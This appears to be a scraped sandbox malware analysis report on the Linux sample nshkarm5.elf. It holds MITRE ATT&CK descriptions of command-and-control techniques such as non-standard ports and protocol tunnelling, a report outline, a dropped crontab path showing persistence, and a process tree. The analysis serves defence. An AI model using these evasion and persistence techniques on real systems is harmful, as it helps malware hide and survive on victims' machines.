Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nshkarm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/spool/cron/crontabs/tmp.yXIL8b

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: nshkarm5.elf PID: 5430, Parent PID: 5351

General

Chronological Activities

Analysis Process: nshkarm5.elf PID: 5432, Parent PID: 5430

General

Chronological Activities

Analysis Process: sh PID: 5432, Parent PID: 5430

General

Chronological Activities

Analysis Process: sh PID: 5434, Parent PID: 5432

General

Chronological Activities

Analysis Process: sh PID: 5436, Parent PID: 5434

General

Chronological Activities

Analysis Process: crontab PID: 5436, Parent PID: 5434

General

Chronological Activities

Analysis Process: sh PID: 5435, Parent PID: 5432

General

Linux Analysis Report
nshkarm5.elf